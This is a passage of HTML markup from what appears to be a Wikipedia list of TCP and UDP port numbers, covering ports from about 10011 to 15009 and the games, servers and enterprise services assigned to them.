table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Crossfire_(2007_video_game)\" title=\"Crossfire (2007 video game)\">Crossfire</a></i>, a multiplayer online First Person Shooter<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>10011</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TeamSpeak\" title=\"TeamSpeak\">TeamSpeak</a> 3 ServerQuery<sup id=\"cite_ref-hub.docker.com_341-1\" class=\"reference\"><a href=\"#cite_note-hub.docker.com-341\">&#91;339&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10022</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TeamSpeak\" title=\"TeamSpeak\">TeamSpeak</a> 3 ServerQuery over SSH\n</td></tr>\n<tr>\n<td>10024</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Zimbra smtp [mta]—to amavis from postfix<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>10025</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Zimbra smtp [mta]—back to postfix from amavis<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>10042</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"https://www.mediawiki.org/wiki/Mathoid\" class=\"extiw\" title=\"mw:Mathoid\">Mathoid</a> server <sup id=\"cite_ref-344\" class=\"reference\"><a href=\"#cite_note-344\">&#91;342&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10050</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Zabbix\" title=\"Zabbix\">Zabbix</a> agent\n</td></tr>\n<tr>\n<td>10051</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Zabbix\" title=\"Zabbix\">Zabbix</a> trapper\n</td></tr>\n<tr>\n<td>10110</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>NMEA 0183 Navigational Data. Transport of NMEA 0183 sentences over TCP or UDP\n</td></tr>\n<tr>\n<td>10172</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Intuit <a href=\"/wiki/Quickbooks\" class=\"mw-redirect\" title=\"Quickbooks\">Quickbooks</a> client\n</td></tr>\n<tr>\n<td rowspan=\"2\">10200\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/FRISK_Software_International\" title=\"FRISK Software International\">FRISK Software International</a>'s <i>fpscand</i> virus scanning daemon for Unix platforms<sup id=\"cite_ref-345\" class=\"reference\"><a href=\"#cite_note-345\">&#91;343&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>FRISK Software International's <i>f-protd</i> virus scanning daemon for Unix platforms<sup id=\"cite_ref-autogenerated2_346-0\" class=\"reference\"><a href=\"#cite_note-autogenerated2-346\">&#91;344&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10201–10204</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>FRISK Software International's <i>f-protd</i> virus scanning daemon for Unix platforms<sup id=\"cite_ref-autogenerated2_346-1\" class=\"reference\"><a href=\"#cite_note-autogenerated2-346\">&#91;344&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10212</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>GE Intelligent Platforms Proficy HMI/SCADA – CIMPLICITY WebView<sup id=\"cite_ref-347\" class=\"reference\"><a href=\"#cite_note-347\">&#91;345&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10308</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Digital_Combat_Simulator\" title=\"Digital Combat Simulator\">Digital Combat Simulator</a></i> Dedicated Server <sup id=\"cite_ref-348\" class=\"reference\"><a href=\"#cite_note-348\">&#91;346&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10480</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/SWAT_4\" title=\"SWAT 4\">SWAT 4</a></i> Dedicated Server<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>10505</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>BlueStacks (android simulator) broadcast<sup id=\"cite_ref-349\" class=\"reference\"><a href=\"#cite_note-349\">&#91;347&#93;</a></sup>\n</td></tr>\n<tr>\n<td>10514</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>TLS-enabled Rsyslog (default by convention)\n</td></tr>\n<tr>\n<td>10578</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Skyrim Together multiplayer server for <a href=\"/wiki/The_Elder_Scrolls_V:_Skyrim\" title=\"The Elder Scrolls V: Skyrim\">The Elder Scrolls V: Skyrim</a> mod.\n</td></tr>\n<tr>\n<td>10800</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Touhou\" class=\"mw-redirect\" title=\"Touhou\">Touhou</a> fight games (<a href=\"/wiki/Immaterial_and_Missing_Power\" title=\"Immaterial and Missing Power\">Immaterial and Missing Power</a>, <a href=\"/wiki/Scarlet_Weather_Rhapsody\" title=\"Scarlet Weather Rhapsody\">Scarlet Weather Rhapsody</a>, <a href=\"/wiki/Touhou_His%C5%8Dtensoku\" class=\"mw-redirect\" title=\"Touhou Hisōtensoku\">Hisoutensoku</a>, <a href=\"/wiki/Hopeless_Masquerade\" title=\"Hopeless Masquerade\">Hopeless Masquerade</a> and <a href=\"/wiki/Urban_Legend_in_Limbo\" title=\"Urban Legend in Limbo\">Urban Legend in Limbo</a>)\n</td></tr>\n<tr>\n<td>10823</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Farming_Simulator_2011\" class=\"mw-redirect\" title=\"Farming Simulator 2011\">Farming Simulator 2011</a></i><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>10891</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Jungle Disk (this port is opened by the Jungle Disk Monitor service on the localhost)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>10933</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Octopus Deploy Tentacle deployment agent<sup id=\"cite_ref-350\" class=\"reference\"><a href=\"#cite_note-350\">&#91;348&#93;</a></sup>\n</td></tr>\n<tr>\n<td>11001</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>metasys ( Johnson Controls Metasys java AC control environment )\n</td></tr>\n<tr>\n<td>11100</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Risk_of_Rain\" title=\"Risk of Rain\">Risk of Rain</a> multiplayer server\n</td></tr>\n<tr>\n<td>11111</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>RiCcI, Remote Configuration Interface (Redhat Linux)\n</td></tr>\n<tr>\n<td>11112</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/American_College_of_Radiology\" title=\"American College of Radiology\">ACR</a>/<a href=\"/wiki/National_Electrical_Manufacturers_Association\" title=\"National Electrical Manufacturers Association\">NEMA</a> <a href=\"/wiki/Digital_Imaging_and_Communications_in_Medicine\" class=\"mw-redirect\" title=\"Digital Imaging and Communications in Medicine\">Digital Imaging and Communications in Medicine</a> (DICOM)\n</td></tr>\n<tr>\n<td>11211</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Memcached\" title=\"Memcached\">memcached</a><sup id=\"cite_ref-apple-kb-HT202944_11-77\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>11214</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>memcached incoming SSL proxy\n</td></tr>\n<tr>\n<td>11215</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>memcached internal outgoing SSL proxy\n</td></tr>\n<tr>\n<td>11235</td>\n<td colspan=\"3\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=XCOMPUTE&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"XCOMPUTE (page does not exist)\">XCOMPUTE</a> numerical systems messaging (Xplicit Computing)<sup id=\"cite_ref-xcompute-iana-record_351-0\" class=\"reference\"><a href=\"#cite_note-xcompute-iana-record-351\">&#91;349&#93;</a></sup>\n</td></tr>\n<tr>\n<td>11311</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Robot_Operating_System\" title=\"Robot Operating System\">Robot Operating System</a> master\n</td></tr>\n<tr>\n<td>11371</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OpenPGP\" class=\"mw-redirect\" title=\"OpenPGP\">OpenPGP</a> HTTP <a href=\"/wiki/Key_server_(cryptographic)\" title=\"Key server (cryptographic)\">key server</a>\n</td></tr>\n<tr>\n<td>11753</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OpenRCT2\" title=\"OpenRCT2\">OpenRCT2</a> multiplayer<sup id=\"cite_ref-openrct2-docs-multiplayer_352-0\" class=\"reference\"><a href=\"#cite_note-openrct2-docs-multiplayer-352\">&#91;350&#93;</a></sup>\n</td></tr>\n<tr>\n<td>12000</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=CubeForm&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"CubeForm (page does not exist)\">CubeForm</a>, Multiplayer SandBox Game\n</td></tr>\n<tr>\n<td>12012</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Audition_Online_Dance_Battle\" class=\"mw-redirect\" title=\"Audition Online Dance Battle\">Audition Online Dance Battle</a>, Korea Server—Status/Version Check\n</td></tr>\n<tr>\n<td>12013</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Audition Online Dance Battle, Korea Server\n</td></tr>\n<tr>\n<td>12035</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Second_Life\" title=\"Second Life\">Second Life</a></i>, used for server UDP in-bound<sup id=\"cite_ref-http&#58;//wiki.secondlife.com/wiki/Authentication_Flow@step_4_353-0\" class=\"reference\"><a href=\"#cite_note-http://wiki.secondlife.com/wiki/Authentication_Flow@step_4-353\">&#91;351&#93;</a></sup>\n</td></tr>\n<tr>\n<td>12043</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i>Second Life</i>, used for LSL HTTPS in-bound<sup id=\"cite_ref-wiki.secondlife.com/wiki/LSL_HTTP_server@Functions_354-0\" class=\"reference\"><a href=\"#cite_note-wiki.secondlife.com/wiki/LSL_HTTP_server@Functions-354\">&#91;352&#93;</a></sup>\n</td></tr>\n<tr>\n<td>12046</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i>Second Life</i>, used for LSL HTTP in-bound<sup id=\"cite_ref-wiki.secondlife.com/wiki/LSL_HTTP_server@Functions_354-1\" class=\"reference\"><a href=\"#cite_note-wiki.secondlife.com/wiki/LSL_HTTP_server@Functions-354\">&#91;352&#93;</a></sup>\n</td></tr>\n<tr>\n<td>12201</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Graylog Extended Log Format (GELF)<sup id=\"cite_ref-355\" class=\"reference\"><a href=\"#cite_note-355\">&#91;353&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:What_Wikipedia_is_not#Encyclopedic_content\" title=\"Wikipedia:What Wikipedia is not\"><span title=\"The material preceding this tag may lack sufficient importance. (August 2017)\">importance?</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>12222</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Light Weight Access Point Protocol (<a href=\"/wiki/LWAPP\" class=\"mw-redirect\" title=\"LWAPP\">LWAPP</a>) LWAPP data (RFC 5412)\n</td></tr>\n<tr>\n<td>12223</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Light Weight Access Point Protocol (<a href=\"/wiki/LWAPP\" class=\"mw-redirect\" title=\"LWAPP\">LWAPP</a>) LWAPP control (RFC 5412)\n</td></tr>\n<tr>\n<td>12307</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Makerbot UDP Broadcast (client to printer) (JSON-RPC)<sup id=\"cite_ref-https&#58;//support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_1190_356-0\" class=\"reference\"><a href=\"#cite_note-https://support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_1190-356\">&#91;354&#93;</a></sup>\n</td></tr>\n<tr>\n<td>12308</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Makerbot UDP Broadcast (printer to client) (JSON-RPC)<sup id=\"cite_ref-https&#58;//support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_1190_356-1\" class=\"reference\"><a href=\"#cite_note-https://support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_1190-356\">&#91;354&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"3\">12345\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Cube_World\" title=\"Cube World\">Cube World</a></i><sup id=\"cite_ref-357\" class=\"reference\"><a href=\"#cite_note-357\">&#91;355&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Little_Fighter_2\" title=\"Little Fighter 2\">Little Fighter 2</a></i>\n</td></tr>\n<tr>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NetBus\" title=\"NetBus\">NetBus</a> remote administration tool (often <a href=\"/wiki/Trojan_horse_(computing)\" title=\"Trojan horse (computing)\">Trojan horse</a>).\n</td></tr>\n<tr>\n<td>12443</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_Hardware_Management_Console\" title=\"IBM Hardware Management Console\">IBM HMC</a> web browser management access over <a href=\"/wiki/HTTPS\" title=\"HTTPS\">HTTPS</a> instead of default port 443<sup id=\"cite_ref-358\" class=\"reference\"><a href=\"#cite_note-358\">&#91;356&#93;</a></sup>\n</td></tr>\n<tr>\n<td>12489</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>NSClient/NSClient++/NC_Net (Nagios)\n</td></tr>\n<tr>\n<td>12975</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/LogMeIn\" class=\"mw-redirect\" title=\"LogMeIn\">LogMeIn</a> <a href=\"/wiki/Hamachi_(software)\" class=\"mw-redirect\" title=\"Hamachi (software)\">Hamachi</a> (VPN tunnel software; also port 32976)—used to connect to Mediation Server (bibi.hamachi.cc); will attempt to use <a href=\"/wiki/Secure_Sockets_Layer\" class=\"mw-redirect\" title=\"Secure Sockets Layer\">SSL</a> (TCP port 443) if both 12975 &amp; 32976 fail to connect\n</td></tr>\n<tr>\n<td>13000–13050</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Second_Life\" title=\"Second Life\">Second Life</a></i>, used for server UDP in-bound<sup id=\"cite_ref-359\" class=\"reference\"><a href=\"#cite_note-359\">&#91;357&#93;</a></sup>\n</td></tr>\n<tr>\n<td>13008</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Crossfire_(2007_video_game)\" title=\"Crossfire (2007 video game)\">Crossfire</a></i>, a multiplayer online First Person Shooter<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>13075</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default<sup id=\"cite_ref-360\" class=\"reference\"><a href=\"#cite_note-360\">&#91;358&#93;</a></sup> for <a href=\"/wiki/BMC_Software\" title=\"BMC Software\">BMC Software</a> <a href=\"/wiki/BMC_Control-M\" class=\"mw-redirect\" title=\"BMC Control-M\">Control-M/Enterprise Manager</a> Corba communication, though often changed during installation\n</td></tr>\n<tr>\n<td>13400</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ISO 13400 Road vehicles — Diagnostic communication over Internet Protocol(DoIP)\n</td></tr>\n<tr>\n<td>13720</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NortonLifeLock\" class=\"mw-redirect\" title=\"NortonLifeLock\">Symantec</a> <a href=\"/w/index.php?title=NetBackup&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"NetBackup (page does not exist)\">NetBackup</a>—bprd (formerly <a href=\"/wiki/Veritas_Software\" class=\"mw-redirect\" title=\"Veritas Software\">VERITAS</a>)\n</td></tr>\n<tr>\n<td>13721</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Symantec NetBackup—bpdbm (formerly VERITAS)\n</td></tr>\n<tr>\n<td>13724</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Symantec Network Utility—vnetd (formerly VERITAS)\n</td></tr>\n<tr>\n<td>13782</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Symantec NetBackup—bpcd (formerly VERITAS)\n</td></tr>\n<tr>\n<td>13783</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Symantec VOPIED protocol (formerly VERITAS)\n</td></tr>\n<tr>\n<td>13785</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Symantec NetBackup Database—nbdb (formerly VERITAS)\n</td></tr>\n<tr>\n<td>13786</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Symantec nomdb (formerly VERITAS)\n</td></tr>\n<tr>\n<td>14550</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MAVLink\" title=\"MAVLink\">MAVLink</a> Ground Station Port\n</td></tr>\n<tr>\n<td>14567</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Battlefield_1942\" title=\"Battlefield 1942\">Battlefield 1942</a> and mods\n</td></tr>\n<tr>\n<td>14652</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Repgen DoxBox reporting tool\n</td></tr>\n<tr>\n<td>14800</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Age_of_Wonders_III\" title=\"Age of Wonders III\">Age of Wonders III</a> p2p port<sup id=\"cite_ref-361\" class=\"reference\"><a href=\"#cite_note-361\">&#91;359&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"4\">15000\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/PsyBNC\" class=\"mw-redirect\" title=\"PsyBNC\">psyBNC</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Wesnoth\" class=\"mw-redirect\" title=\"Wesnoth\">Wesnoth</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Kaspersky Network Agent<sup id=\"cite_ref-362\" class=\"reference\"><a href=\"#cite_note-362\">&#91;360&#93;</a></sup>\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Teltonika networks remote management system (RMS)\n</td></tr>\n<tr>\n<td>15009</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td 